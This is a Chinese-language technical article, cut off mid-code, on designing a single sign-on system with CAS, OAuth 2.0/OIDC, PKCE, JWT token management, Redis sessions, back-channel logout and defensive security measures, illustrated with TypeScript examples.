跳到主要内容

设计单点登录系统(SSO)

问题

如何设计一套完整的单点登录(SSO)系统?从 SSO 核心概念、主流协议(CAS、OAuth 2.0、OIDC)选型,到 Token 管理、前端实现、Session 同步、安全防护与多端适配,请详细说明核心模块的设计思路与关键技术实现。

答案

单点登录(Single Sign-On,SSO)是一种身份认证机制,用户只需登录一次,即可访问多个相互信任的应用系统,无需重复输入凭证。它是企业级应用、SaaS 平台和多子系统架构中的基础设施。SSO 的核心挑战在于跨域 Session 共享安全的 Token 生命周期管理统一登出的一致性


一、需求分析

功能需求

模块功能点
单点登录用户在一处登录后,访问其他子系统自动完成认证
单点登出用户在一处登出后,所有子系统同步登出
多协议支持支持 CAS、OAuth 2.0、OIDC、SAML 等主流协议
第三方登录支持微信、Google、GitHub 等社会化登录
Token 管理Access Token、Refresh Token、无感续期
多端适配Web、移动端、小程序统一认证
权限集成权限管理系统协同

非功能需求

指标目标
安全性防 CSRF、XSS、Token 劫持,支持 PKCE
可用性SSO 中心 99.99%,降级为独立登录
性能Token 验证 < 5ms,登录跳转 < 500ms
可扩展支持新增子系统零代码接入
合规符合 GDPR、个人信息保护法
核心原则

SSO 解决的是**认证(Authentication)**问题——"你是谁"。授权(Authorization)——"你能做什么"——由各子系统的权限模块负责。两者常配合使用,但职责不同。


二、整体架构

2.1 系统架构图

2.2 核心组件

组件职责技术选型
SSO Center统一登录页、认证入口、登出协调Next.js / React SPA
Auth Service认证逻辑、密码校验、第三方登录NestJS / Express
Token ServiceToken 签发、验证、刷新、吊销JWT + Redis
Session Store集中式 Session 管理、TGT 存储Redis Cluster
User Database用户信息、凭证存储MySQL / PostgreSQL
Client SDK各子系统接入 SDKnpm 包(参见 SDK 架构设计

三、SSO 核心概念

3.1 单点登录流程(概览)

3.2 三大核心能力

能力说明关键技术
单点登录登录一次,处处可用TGT(Ticket Granting Ticket)、SSO Session Cookie
单点登出登出一次,全局失效Back-Channel Logout、Token 吊销
Session 共享多系统共享认证状态Redis 集中存储、JWT 无状态验证

四、方案对比

4.1 同域 SSO vs 跨域 SSO

适用场景:所有子系统在同一主域下(如 *.example.com

原理:利用 Cookie 的 domain 属性,将 Token 写入主域。

server/set-cookie.ts
import { Response } from 'express';

function setSharedCookie(res: Response, token: string): void {
res.cookie('sso_token', token, {
domain: '.example.com', // 所有子域共享
path: '/',
httpOnly: true,
secure: true,
sameSite: 'lax',
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 天
});
}

优点:实现简单,无需复杂跳转。

缺点:仅限同主域,Cookie 大小受限(~4KB)。

4.2 主流协议对比

特性CASOAuth 2.0OIDCSAML
定位纯认证纯授权认证 + 授权认证 + 授权
Token 格式Service TicketAccess Token(自定义)ID Token(JWT)XML Assertion
传输格式URL 参数JSONJSON(JWT)XML
适用场景企业内网API 授权、第三方登录现代 Web/移动端企业级、政府
复杂度
代表实现Apereo CASGoogle/GitHub OAuthAuth0、KeycloakOkta、Azure AD
推荐度遗留系统API 授权场景首选方案企业合规
方案选型建议
  • 新项目首选 OIDC:基于 OAuth 2.0 扩展,同时解决认证和授权
  • API 授权场景:使用 OAuth 2.0 + PKCE
  • 企业内网遗留系统:CAS 足够简单
  • 需要与 Okta/Azure AD 对接:SAML

五、CAS 流程详解

5.1 核心概念

概念全称说明
TGTTicket Granting TicketSSO 中心的全局 Session 标识,存在 Cookie 中
TGCTicket Granting Cookie存储 TGT 的 Cookie,仅在 SSO 域下有效
STService Ticket一次性票据,用于子系统向 SSO 中心换取用户信息

5.2 CAS 认证流程

5.3 CAS 服务端实现

cas-server/ticket-service.ts
import { randomUUID } from 'crypto';
import Redis from 'ioredis';

const redis = new Redis();

interface TicketData {
userId: string;
username: string;
createdAt: number;
}

interface ServiceTicketData extends TicketData {
service: string;
}

// TGT 管理
class TGTService {
// 创建 TGT,有效期 8 小时
async createTGT(userId: string, username: string): Promise<string> {
const tgtId = `TGT-${randomUUID()}`;
const data: TicketData = { userId, username, createdAt: Date.now() };
await redis.setex(`tgt:${tgtId}`, 8 * 3600, JSON.stringify(data));
return tgtId;
}

async validateTGT(tgtId: string): Promise<TicketData | null> {
const raw = await redis.get(`tgt:${tgtId}`);
return raw ? JSON.parse(raw) : null;
}

async destroyTGT(tgtId: string): Promise<void> {
// 同时销毁关联的所有 ST
const stKeys = await redis.smembers(`tgt-st:${tgtId}`);
if (stKeys.length > 0) {
await redis.del(...stKeys.map((st) => `st:${st}`));
}
await redis.del(`tgt:${tgtId}`, `tgt-st:${tgtId}`);
}
}

// ST 管理
class STService {
// 创建一次性 ST,有效期 30 秒
async createST(
tgtId: string,
userId: string,
username: string,
service: string
): Promise<string> {
const stId = `ST-${randomUUID()}`;
const data: ServiceTicketData = {
userId,
username,
service,
createdAt: Date.now(),
};
await redis.setex(`st:${stId}`, 30, JSON.stringify(data));
// 记录 TGT 关联的 ST(登出时需要)
await redis.sadd(`tgt-st:${tgtId}`, stId);
return stId;
}

// 验证并消费 ST(一次性)
async validateAndConsumeST(
stId: string,
service: string
): Promise<ServiceTicketData | null> {
const raw = await redis.get(`st:${stId}`);
if (!raw) return null;

const data: ServiceTicketData = JSON.parse(raw);
// 校验 service 是否匹配
if (data.service !== service) return null;

// ST 一次性使用,立即删除
await redis.del(`st:${stId}`);
return data;
}
}

export const tgtService = new TGTService();
export const stService = new STService();

六、OAuth 2.0 四种授权模式

6.1 模式对比

模式适用场景安全级别是否需要后端
授权码模式Web 应用(有后端)最高
授权码 + PKCESPA / 移动端
隐式模式已废弃(OAuth 2.1)
密码模式高度信任的自有应用
客户端凭证模式服务间调用(M2M)-
注意

OAuth 2.1 已正式废弃隐式模式(Implicit Grant),SPA 应用应使用授权码模式 + PKCE

6.2 授权码模式(Authorization Code)

6.3 授权码 + PKCE(推荐 SPA 使用)

PKCE(Proof Key for Code Exchange)解决了 SPA 无法安全存储 client_secret 的问题。

client/pkce.ts
// PKCE 工具函数

// 生成随机 code_verifier
function generateCodeVerifier(): string {
const array = new Uint8Array(32);
crypto.getRandomValues(array);
return base64UrlEncode(array);
}

// 计算 code_challenge = SHA256(code_verifier) 的 Base64URL 编码
async function generateCodeChallenge(verifier: string): Promise<string> {
const encoder = new TextEncoder();
const data = encoder.encode(verifier);
const digest = await crypto.subtle.digest('SHA-256', data);
return base64UrlEncode(new Uint8Array(digest));
}

function base64UrlEncode(buffer: Uint8Array): string {
const base64 = btoa(String.fromCharCode(...buffer));
return base64
.replace(/\+/g, '-')
.replace(/\//g, '_')
.replace(/=+$/, '');
}

// 发起 PKCE 授权请求
async function startPKCEFlow(): Promise<void> {
const codeVerifier = generateCodeVerifier();
const codeChallenge = await generateCodeChallenge(codeVerifier);

// 存储 code_verifier(后续换 Token 时需要)
sessionStorage.setItem('pkce_code_verifier', codeVerifier);

const state = crypto.randomUUID();
sessionStorage.setItem('oauth_state', state);

const params = new URLSearchParams({
response_type: 'code',
client_id: 'my-spa-client',
redirect_uri: window.location.origin + '/callback',
scope: 'openid profile email',
state,
code_challenge: codeChallenge,
code_challenge_method: 'S256',
});

window.location.href =
`https://sso.example.com/authorize?` + params.toString();
}

6.4 四种模式速查

用户 -> 客户端 -> 授权服务器 -> 返回 code -> 客户端后端用 code + client_secret 换 token

适用:有后端的 Web 应用。最安全,token 不经过浏览器。


七、OIDC(OpenID Connect)

7.1 OIDC 与 OAuth 2.0 的关系

OIDC = OAuth 2.0 + 身份层

OAuth 2.0 只解决"授权"——允许第三方访问资源。OIDC 在 OAuth 2.0 之上增加了身份认证层,通过 ID Token 告诉客户端"用户是谁"。

7.2 ID Token 结构

ID Token 是一个 JWT,包含用户身份声明:

types/oidc.ts
// ID Token Payload(JWT 解码后)
interface IDTokenPayload {
// 标准声明
iss: string; // 签发者(如 https://sso.example.com)
sub: string; // 用户唯一标识
aud: string; // 受众(client_id)
exp: number; // 过期时间
iat: number; // 签发时间
nonce: string; // 防重放攻击

// 用户信息声明(取决于 scope)
name?: string;
email?: string;
email_verified?: boolean;
picture?: string;
}

// Token 响应
interface TokenResponse {
access_token: string; // 访问令牌(访问资源 API)
id_token: string; // 身份令牌(JWT,包含用户信息)
refresh_token: string; // 刷新令牌(换取新 access_token)
token_type: 'Bearer';
expires_in: number; // access_token 有效期(秒)
scope: string;
}

7.3 UserInfo 端点

client/userinfo.ts
// 通过 UserInfo Endpoint 获取用户详细信息
async function fetchUserInfo(accessToken: string): Promise<UserInfo> {
const response = await fetch('https://sso.example.com/userinfo', {
headers: {
Authorization: `Bearer ${accessToken}`,
},
});

if (!response.ok) {
throw new Error('Failed to fetch user info');
}

return response.json();
}

interface UserInfo {
sub: string;
name: string;
email: string;
email_verified: boolean;
picture: string;
locale: string;
}

7.4 OIDC Discovery

SSO 服务暴露 /.well-known/openid-configuration 端点,客户端可自动发现所有配置:

types/discovery.ts
// https://sso.example.com/.well-known/openid-configuration 返回
interface OIDCDiscovery {
issuer: string;
authorization_endpoint: string;
token_endpoint: string;
userinfo_endpoint: string;
jwks_uri: string; // 公钥地址,用于验证 JWT 签名
end_session_endpoint: string;
revocation_endpoint: string;
scopes_supported: string[]; // 如 ['openid', 'profile', 'email']
response_types_supported: string[];
grant_types_supported: string[];
id_token_signing_alg_values_supported: string[];
}

八、Token 管理

8.1 Token 类型与职责

Token 类型存储位置有效期用途
Access Token内存 / sessionStorage15 分钟~1 小时访问 API 资源
Refresh TokenHttpOnly Cookie7~30 天换取新的 Access Token
ID Token内存与 Access Token 同步用户身份信息
TGT(CAS)Redis(服务端)8 小时SSO 全局 Session
Token 存储安全
  • Access Token 存内存最安全,但刷新页面丢失。可结合 Refresh Token 静默续期
  • Refresh Token 应存在 HttpOnly + Secure + SameSite Cookie 中,JS 不可访问
  • 切勿将 Refresh Token 存在 localStorage,容易被 XSS 窃取

8.2 JWT Token 签发与验证

server/token-service.ts
import jwt from 'jsonwebtoken';
import Redis from 'ioredis';

const redis = new Redis();

interface TokenPayload {
sub: string; // 用户 ID
username: string;
roles: string[];
}

interface Tokens {
accessToken: string;
refreshToken: string;
idToken: string;
expiresIn: number;
}

const ACCESS_TOKEN_SECRET = process.env.ACCESS_TOKEN_SECRET!;
const REFRESH_TOKEN_SECRET = process.env.REFRESH_TOKEN_SECRET!;
const ID_TOKEN_SECRET = process.env.ID_TOKEN_SECRET!;

class TokenService {
// 签发完整的 Token 组合
signTokens(payload: TokenPayload, clientId: string): Tokens {
const accessToken = jwt.sign(
{ sub: payload.sub, username: payload.username, roles: payload.roles },
ACCESS_TOKEN_SECRET,
{ expiresIn: '15m', issuer: 'sso.example.com' }
);

const refreshToken = jwt.sign(
{ sub: payload.sub, type: 'refresh' },
REFRESH_TOKEN_SECRET,
{ expiresIn: '7d', issuer: 'sso.example.com' }
);

// OIDC ID Token
const idToken = jwt.sign(
{
sub: payload.sub,
name: payload.username,
aud: clientId,
iat: Math.floor(Date.now() / 1000),
},
ID_TOKEN_SECRET,
{ expiresIn: '15m', issuer: 'sso.example.com' }
);

return { accessToken, refreshToken, idToken, expiresIn: 900 };
}

// 验证 Access Token
verifyAccessToken(token: string): TokenPayload | null {
try {
return jwt.verify(token, ACCESS_TOKEN_SECRET, {
issuer: 'sso.example.com',
}) as TokenPayload;
} catch {
return null;
}
}

// 刷新 Token
async refreshTokens(
refreshToken: string,
clientId: string
): Promise<Tokens | null> {
try {
const decoded = jwt.verify(refreshToken, REFRESH_TOKEN_SECRET) as {
sub: string;
type: string;
};

if (decoded.type !== 'refresh') return null;

// 检查 Refresh Token 是否已被吊销
const isRevoked = await this.isTokenRevoked(refreshToken);
if (isRevoked) return null;

// 查询用户最新信息
const user = await this.getUserById(decoded.sub);
if (!user) return null;

return this.signTokens(
{ sub: user.id, username: user.username, roles: user.roles },
clientId
);
} catch {
return null;
}
}

// Token 吊销(存入黑名单)
async revokeToken(token: string): Promise<void> {
const decoded = jwt.decode(token) as { exp: number } | null;
if (!decoded) return;
const ttl = decoded.exp - Math.floor(Date.now() / 1000);
if (ttl > 0) {
await redis.setex(`revoked:${token}`, ttl, '1');
}
}

private async isTokenRevoked(token: string): Promise<boolean> {
const result = await redis.get(`revoked:${token}`);
return result !== null;
}

private async getUserById(
id: string
): Promise<{ id: string; username: string; roles: string[] } | null> {
// 数据库查询...
return null;
}
}

export const tokenService = new TokenService();

8.3 无感续期(Silent Refresh)

client/token-manager.ts
type TokenChangeCallback = (token: string | null) => void;

class TokenManager {
private accessToken: string | null = null;
private refreshTimer: ReturnType<typeof setTimeout> | null = null;
private onTokenChange: TokenChangeCallback | null = null;

// 初始化:尝试用 Refresh Token 静默获取 Access Token
async init(): Promise<boolean> {
try {
// Refresh Token 在 HttpOnly Cookie 中,浏览器自动携带
const response = await fetch('/api/auth/refresh', {
method: 'POST',
credentials: 'include', // 携带 Cookie
});

if (!response.ok) return false;

const data: { accessToken: string; expiresIn: number } =
await response.json();
this.setAccessToken(data.accessToken, data.expiresIn);
return true;
} catch {
return false;
}
}

// 设置 Access Token 并安排自动续期
private setAccessToken(token: string, expiresIn: number): void {
this.accessToken = token;
this.onTokenChange?.(token);

// 清除旧定时器
if (this.refreshTimer) {
clearTimeout(this.refreshTimer);
}

// 在过期前 60 秒自动续期
const refreshDelay = (expiresIn - 60) * 1000;
this.refreshTimer = setTimeout(() => {
this.silentRefresh();
}, refreshDelay);
}

// 静默续期
private async silentRefresh(): Promise<void> {
try {
const response = await fetch('/api/auth/refresh', {
method: 'POST',
credentials: 'include',
});

if (!response.ok) {
this.handleLogout();
return;
}

const data = await response.json();
this.setAccessToken(data.accessToken, data.expiresIn);
} catch {
this.handleLogout();
}
}

getAccessToken(): string | null {
return this.accessToken;
}

subscribe(callback: TokenChangeCallback): () => void {
this.onTokenChange = callback;
return () => {
this.onTokenChange = null;
};
}

private handleLogout(): void {
this.accessToken = null;
this.onTokenChange?.(null);
if (this.refreshTimer) {
clearTimeout(this.refreshTimer);
}
// 跳转 SSO 登录页
const redirectUrl = encodeURIComponent(window.location.href);
window.location.href =
`https://sso.example.com/login?redirect=` + redirectUrl;
}

destroy(): void {
if (this.refreshTimer) {
clearTimeout(this.refreshTimer);
}
}
}

export const tokenManager = new TokenManager();

九、前端实现

9.1 登录跳转

client/sso-client.ts
interface SSOClientConfig {
ssoBaseUrl: string;
clientId: string;
redirectUri: string;
scope?: string;
}

class SSOClient {
private config: SSOClientConfig;

constructor(config: SSOClientConfig) {
this.config = config;
}

// 发起登录
login(): void {
const state = crypto.randomUUID();
sessionStorage.setItem('sso_state', state);

const params = new URLSearchParams({
response_type: 'code',
client_id: this.config.clientId,
redirect_uri: this.config.redirectUri,
scope: this.config.scope ?? 'openid profile email',
state,
});

window.location.href = this.config.ssoBaseUrl + '/authorize?' + params;
}

// 处理回调
async handleCallback(): Promise<{ accessToken: string } | null> {
const url = new URL(window.location.href);
const code = url.searchParams.get('code');
const state = url.searchParams.get('state');

// 验证 state 防 CSRF
const savedState = sessionStorage.getItem('sso_state');
if (!code || state !== savedState) {
console.error('Invalid callback: state mismatch or missing code');
return null;
}
sessionStorage.removeItem('sso_state');

// 用授权码换取 Token
const response = await fetch('/api/auth/exchange', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ code, redirectUri: this.config.redirectUri }),
credentials: 'include',
});

if (!response.ok) return null;

// 清理 URL 中的 code 参数
window.history.replaceState({}, '', url.pathname);

return response.json();
}

// 发起登出
logout(): void {
// 跳转 SSO 登出端点,由 SSO 协调全局登出
const params = new URLSearchParams({
client_id: this.config.clientId,
post_logout_redirect_uri: window.location.origin,
});
window.location.href =
this.config.ssoBaseUrl + '/logout?' + params;
}
}

export const ssoClient = new SSOClient({
ssoBaseUrl: 'https://sso.example.com',
clientId: 'my-app',
redirectUri: window.location.origin + '/callback',
});

9.2 请求拦截器

client/http-client.ts
import { tokenManager } from './token-manager';
import axios, { AxiosError, InternalAxiosRequestConfig } from 'axios';

const httpClient = axios.create({
baseURL: '/api',
timeout: 10000,
});

// 请求拦截:自动附加 Access Token
httpClient.interceptors.request.use(
(config: InternalAxiosRequestConfig) => {
const token = tokenManager.getAccessToken();
if (token) {
config.headers.Authorization = `Bearer ${token}`;
}
return config;
}
);

// 响应拦截:处理 401 自动续期
let isRefreshing = false;
let pendingRequests: Array<(token: string) => void> = [];

httpClient.interceptors.response.use(
(response) => response,
async (error: AxiosError) => {
const originalRequest = error.config;
if (!originalRequest) return Promise.reject(error);

if (error.response?.status === 401) {
// 防止并发刷新:多个请求同时 401 时,只刷新一次
if (isRefreshing) {
return new Promise((resolve) => {
pendingRequests.push((token: string) => {
originalRequest.headers.Authorization = `Bearer ${token}`;
resolve(httpClient(originalRequest));
});
});
}

isRefreshing = true;

try {
const success = await tokenManager.init();
if (success) {
const newToken = tokenManager.getAccessToken()!;
// 重发所有等待中的请求
pendingRequests.forEach((cb) => cb(newToken));
pendingRequests = [];

// 重发当前请求
originalRequest.headers.Authorization = `Bearer ${newToken}`;
return httpClient(originalRequest);
}
} catch {
// 刷新失败,跳转登录
} finally {
isRefreshing = false;
}
}

return Promise.reject(error);
}
);

export { httpClient };

9.3 静默登录(iframe / 隐藏重定向)

在不打断用户操作的情况下检查 SSO Session:

client/silent-login.ts
// 使用隐藏 iframe 实现静默登录检查
function silentLogin(ssoUrl: string, clientId: string): Promise<string | null> {
return new Promise((resolve) => {
const iframe = document.createElement('iframe');
iframe.style.display = 'none';

const timeout = setTimeout(() => {
cleanup();
resolve(null);
}, 5000);

function handleMessage(event: MessageEvent): void {
if (event.origin !== new URL(ssoUrl).origin) return;

cleanup();
if (event.data?.type === 'sso-auth-success') {
resolve(event.data.code as string); // 获取授权码
} else {
resolve(null);
}
}

function cleanup(): void {
clearTimeout(timeout);
window.removeEventListener('message', handleMessage);
iframe.remove();
}

window.addEventListener('message', handleMessage);

const params = new URLSearchParams({
response_type: 'code',
client_id: clientId,
redirect_uri: window.location.origin + '/silent-callback',
prompt: 'none', // 不显示登录页
scope: 'openid',
});

iframe.src = ssoUrl + '/authorize?' + params;
document.body.appendChild(iframe);
});
}

9.4 React 集成示例

hooks/useAuth.tsx
import {
useState,
useEffect,
useCallback,
createContext,
useContext,
} from 'react';
import type { ReactNode } from 'react';
import { tokenManager } from '../client/token-manager';
import { ssoClient } from '../client/sso-client';

interface AuthState {
isAuthenticated: boolean;
isLoading: boolean;
user: UserInfo | null;
}

interface AuthContextValue extends AuthState {
login: () => void;
logout: () => void;
}

interface UserInfo {
id: string;
name: string;
email: string;
}

const AuthContext = createContext<AuthContextValue | null>(null);

export function AuthProvider({
children,
}: {
children: ReactNode;
}): JSX.Element {
const [state, setState] = useState<AuthState>({
isAuthenticated: false,
isLoading: true,
user: null,
});

useEffect(() => {
async function initAuth(): Promise<void> {
// 1. 如果 URL 有 code 参数,处理回调
const url = new URL(window.location.href);
if (url.searchParams.has('code')) {
const result = await ssoClient.handleCallback();
if (result) {
setState({ isAuthenticated: true, isLoading: false, user: null });
return;
}
}

// 2. 尝试用 Refresh Token 静默续期
const success = await tokenManager.init();
if (success) {
const user = await fetchUserInfo();
setState({ isAuthenticated: true, isLoading: false, user });
} else {
setState({ isAuthenticated: false, isLoading: false, user: null });
}
}

initAuth();
}, []);

const login = useCallback(() => ssoClient.login(), []);
const logout = useCallback(() => ssoClient.logout(), []);

return (
<AuthContext.Provider value={{ ...state, login, logout }}>
{children}
</AuthContext.Provider>
);
}

export function useAuth(): AuthContextValue {
const context = useContext(AuthContext);
if (!context) {
throw new Error('useAuth must be used within AuthProvider');
}
return context;
}

async function fetchUserInfo(): Promise<UserInfo | null> {
try {
const token = tokenManager.getAccessToken();
const response = await fetch('/api/auth/me', {
headers: { Authorization: `Bearer ${token}` },
});
return response.ok ? response.json() : null;
} catch {
return null;
}
}

十、Session 同步

10.1 方案对比

方案原理优点缺点
Redis 集中存储Session 存 Redis,多服务共享支持主动吊销,一致性强每次请求需查 Redis
JWT 无状态Token 自包含信息,无需查数据库高性能,无状态无法主动吊销(需黑名单)
JWT + Redis 混合JWT 验证 + Redis 黑名单兼顾性能和安全实现稍复杂
推荐方案

使用 JWT + Redis 黑名单的混合方案:正常请求用 JWT 快速验证(无需查库),登出或安全事件时将 Token 加入 Redis 黑名单。

10.2 Redis Session 存储

server/session-store.ts
import Redis from 'ioredis';

const redis = new Redis({ host: 'redis-cluster', port: 6379 });

interface SSOSession {
userId: string;
username: string;
loginTime: number;
lastActiveTime: number;
registeredClients: string[]; // 已登录的子系统列表(登出时需通知)
ip: string;
userAgent: string;
}

class SessionStore {
private readonly PREFIX = 'sso:session:';
private readonly TTL = 8 * 3600; // 8 小时

async create(sessionId: string, data: SSOSession): Promise<void> {
await redis.setex(
this.PREFIX + sessionId,
this.TTL,
JSON.stringify(data)
);
// 用户维度的 Session 索引(支持查看所有在线设备)
await redis.sadd(`sso:user-sessions:${data.userId}`, sessionId);
}

async get(sessionId: string): Promise<SSOSession | null> {
const raw = await redis.get(this.PREFIX + sessionId);
return raw ? JSON.parse(raw) : null;
}

// 注册子系统(用户在该子系统完成登录后调用)
async registerClient(sessionId: string, clientId: string): Promise<void> {
const session = await this.get(sessionId);
if (!session) return;

if (!session.registeredClients.includes(clientId)) {
session.registeredClients.push(clientId);
await redis.setex(
this.PREFIX + sessionId,
this.TTL,
JSON.stringify(session)
);
}
}

// 销毁 Session(全局登出)
async destroy(sessionId: string): Promise<string[]> {
const session = await this.get(sessionId);
if (!session) return [];

const clients = session.registeredClients;
await redis.del(this.PREFIX + sessionId);
await redis.srem(`sso:user-sessions:${session.userId}`, sessionId);
return clients; // 返回需要通知登出的子系统列表
}

// 获取用户所有活跃 Session("踢掉其他设备"功能)
async getUserSessions(userId: string): Promise<SSOSession[]> {
const sessionIds = await redis.smembers(`sso:user-sessions:${userId}`);
const sessions: SSOSession[] = [];
for (const id of sessionIds) {
const session = await this.get(id);
if (session) sessions.push(session);
}
return sessions;
}
}

export const sessionStore = new SessionStore();

十一、登出设计

11.1 Back-Channel vs Front-Channel

方式原理优点缺点
Back-Channel LogoutSSO 服务端直接调用各子系统后端的登出 API可靠、不依赖浏览器子系统需暴露登出端点
Front-Channel Logout通过浏览器 iframe/img 请求各子系统登出 URL简单受浏览器限制(SameSite Cookie)

11.2 Back-Channel Logout 实现

server/logout-service.ts
import jwt from 'jsonwebtoken';

interface ClientConfig {
clientId: string;
backchannelLogoutUri: string;
}

// 注册的子系统配置
const registeredClients: Map<string, ClientConfig> = new Map([
['app-a', {
clientId: 'app-a',
backchannelLogoutUri: 'https://app-a.com/api/backchannel-logout',
}],
['app-b', {
clientId: 'app-b',
backchannelLogoutUri: 'https://app-b.com/api/backchannel-logout',
}],
]);

class LogoutService {
// 全局登出
async globalLogout(sessionId: string): Promise<void> {
// 1. 获取该 Session 已注册的子系统
const clientIds = await sessionStore.destroy(sessionId);

// 2. 并行通知所有子系统
const logoutPromises = clientIds.map((clientId) =>
this.notifyClient(clientId, sessionId)
);

// 3. 容忍部分失败(某个子系统挂了不影响其他系统登出)
const results = await Promise.allSettled(logoutPromises);
results.forEach((result, index) => {
if (result.status === 'rejected') {
console.error(
`Failed to notify ${clientIds[index]}:`,
result.reason
);
}
});
}

private async notifyClient(
clientId: string,
sessionId: string
): Promise<void> {
const client = registeredClients.get(clientId);
if (!client) return;

// 签发 Logout Token(OIDC 规范)
const logoutToken = jwt.sign(
{
iss: 'https://sso.example.com',
sub: sessionId,
aud: clientId,
events: {
'http://schemas.openid.net/event/backchannel-logout': {},
},
},
process.env.LOGOUT_TOKEN_SECRET!,
{ expiresIn: '2m' }
);

// POST Logout Token 到子系统的 Back-Channel 端点
const response = await fetch(client.backchannelLogoutUri, {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: `logout_token=${logoutToken}`,
});

if (!response.ok) {
throw new Error(`Logout notification failed for ${clientId}`);
}
}
}

export const logoutService = new LogoutService();

11.3 子系统接收登出通知

app-server/backchannel-logout.ts
import { Request, Response } from 'express';
import jwt from 'jsonwebtoken';

// 子系统处理 Back-Channel Logout
async function handleBackchannelLogout(
req: Request,
res: Response
): Promise<void> {
const logoutToken = req.body.logout_token as string;

try {
// 1. 验证 Logout Token
const decoded = jwt.verify(logoutToken, process.env.SSO_PUBLIC_KEY!, {
issuer: 'https://sso.example.com',
audience: 'my-app-client-id',
}) as { sub: string; events: Record<string, unknown> };

// 2. 确认是登出事件
const logoutEvent =
'http://schemas.openid.net/event/backchannel-logout';
if (!decoded.events[logoutEvent]) {
res.status(400).json({ error: 'Not a logout event' });
return;
}

// 3. 销毁本地 Session
await localSessionStore.destroyByExternalId(decoded.sub);

// 4. 通知前端(如果使用 WebSocket 推送在线状态)
socketServer.to(decoded.sub).emit('session-expired');

res.status(200).json({ success: true });
} catch {
res.status(400).json({ error: 'Invalid logout token' });
}
}

十二、安全设计

12.1 安全威胁与防护

威胁攻击方式防护措施
CSRF伪造授权请求state 参数校验
XSS窃取 TokenHttpOnly Cookie、CSP
授权码拦截中间人截获 codePKCE、HTTPS
Token 泄露localStorage 被读取内存存储、短有效期
重放攻击重复使用授权码授权码一次性使用、nonce
会话固定登录前后 Session 不变登录后重新生成 Session ID

12.2 CSRF 防护:state 参数

client/csrf-protection.ts
// 生成并校验 state 参数
class CSRFProtection {
// 生成 state:随机值 + 当前页面 URL(防止跳转到恶意页面)
static generate(): string {
const random = crypto.randomUUID();
const currentUrl = window.location.href;
const state = btoa(JSON.stringify({ random, returnTo: currentUrl }));
sessionStorage.setItem('oauth_state', state);
return state;
}

// 校验 state
static verify(receivedState: string): { returnTo: string } | null {
const savedState = sessionStorage.getItem('oauth_state');
sessionStorage.removeItem('oauth_state');

if (!savedState || receivedState !== savedState) {
console.error('CSRF detected: state mismatch');
return null;
}

try {
return JSON.parse(atob(receivedState));
} catch {
return null;
}
}
}

12.3 XSS 防护:Token 存储策略

server/secure-cookie.ts
import { Response } from 'express';

// 安全地设置 Refresh Token Cookie
function setRefreshTokenCookie(res: Response, refreshToken: string): void {
res.cookie('refresh_token', refreshToken, {
httpOnly: true, // JS 不可访问
secure: true, // 仅 HTTPS
sameSite: 'strict', // 禁止跨站发送
path: '/api/auth/refresh', // 仅刷新端点可访问
maxAge: 7 * 24 * 60 * 60 * 1000,
});
}

// CSP Header 配置
function setCSPHeaders(res: Response): void {
res.setHeader(
'Content-Security-Policy',
[
"default-src 'self'",
"script-src 'self'",
"style-src 'self' 'unsafe-inline'",
"frame-ancestors 'none'", // 防止点击劫持
"connect-src 'self' https://sso.example.com",
].join('; ')
);
}

12.4 PKCE 防授权码拦截

为什么需要 PKCE

SPA 和移动端无法安全存储 client_secret。没有 PKCE 时,攻击者如果拦截了授权码(如通过恶意浏览器扩展),就可以直接用 code 换取 Token。PKCE 确保只有发起请求的那个客户端才能完成 Token 交换。

PKCE 的完整实现参见第六节 OAuth 2.0 部分


十三、扩展设计

13.1 多端适配

  • 使用授权码 + PKCE 模式
  • Access Token 存内存,Refresh Token 存 HttpOnly Cookie
  • 支持 iframe 静默登录检查
  • CSP 策略限制脚本注入

13.2 第三方登录集成

server/third-party-auth.ts
interface ThirdPartyProvider {
name: string;
authUrl: string;
tokenUrl: string;
userInfoUrl: string;
clientId: string;
clientSecret: string;
scope: string;
}

const providers: Record<string, ThirdPartyProvider> = {
github: {
name: 'GitHub',
authUrl: 'https://github.com/login/oauth/authorize',
tokenUrl: 'https://github.com/login/oauth/access_token',
userInfoUrl: 'https://api.github.com/user',
clientId: process.env.GITHUB_CLIENT_ID!,
clientSecret: process.env.GITHUB_CLIENT_SECRET!,
scope: 'user:email',
},
google: {
name: 'Google',
authUrl: 'https://accounts.google.com/o/oauth2/v2/auth',
tokenUrl: 'https://oauth2.googleapis.com/token',
userInfoUrl: 'https://www.googleapis.com/oauth2/v2/userinfo',
clientId: process.env.GOOGLE_CLIENT_ID!,
clientSecret: process.env.GOOGLE_CLIENT_SECRET!,
scope: 'openid profile email',
},
};

// 处理第三方回调
async function handleThirdPartyCallback(
providerName: string,
code: string,
clientId: string,
redirectUri: string
): Promise<{ accessToken: string; refreshToken: string } | null> {
const provider = providers[providerName];
if (!provider) return null;

// 1. 用 code 换取第三方 Access Token
const tokenResponse = await fetch(provider.tokenUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
Accept: 'application/json',
},
body: JSON.stringify({
client_id: provider.clientId,
client_secret: provider.clientSecret,
code,
redirect_uri: `https://sso.example.com/callback/${providerName}`,
}),
});
const tokenData = await tokenResponse.json();

// 2. 获取第三方用户信息
const userResponse = await fetch(provider.userInfoUrl, {
headers: { Authorization: `Bearer ${tokenData.access_token}` },
});
const thirdPartyUser = await userResponse.json();

// 3. 查找或创建本地用户
let user = await findUserByThirdParty(providerName, thirdPartyUser.id);
if (!user) {
user = await createUserFromThirdParty(providerName, thirdPartyUser);
}

// 4. 签发 SSO Token
return tokenService.signTokens(
{ sub: user.id, username: user.username, roles: user.roles },
clientId
);
}

13.3 Client SDK 设计

为简化子系统接入,提供开箱即用的 SDK

sdk/sso-sdk.ts
interface SSOSDKConfig {
ssoBaseUrl: string;
clientId: string;
redirectUri?: string;
autoRefresh?: boolean;
onSessionExpired?: () => void;
}

class SSOSDK {
private config: SSOSDKConfig;
private tokenMgr: TokenManager;

constructor(config: SSOSDKConfig) {
this.config = {
redirectUri: window.location.origin + '/callback',
autoRefresh: true,
...config,
};
this.tokenMgr = new TokenManager();
}

// 初始化:自动检测登录状态
async init(): Promise<boolean> {
// 1. 检查 URL 是否有回调参数
if (window.location.search.includes('code=')) {
return this.handleCallback();
}

// 2. 尝试静默续期
const success = await this.tokenMgr.init();
if (success && this.config.autoRefresh) {
this.tokenMgr.subscribe((token) => {
if (!token) {
this.config.onSessionExpired?.();
}
});
}
return success;
}

login(): void {
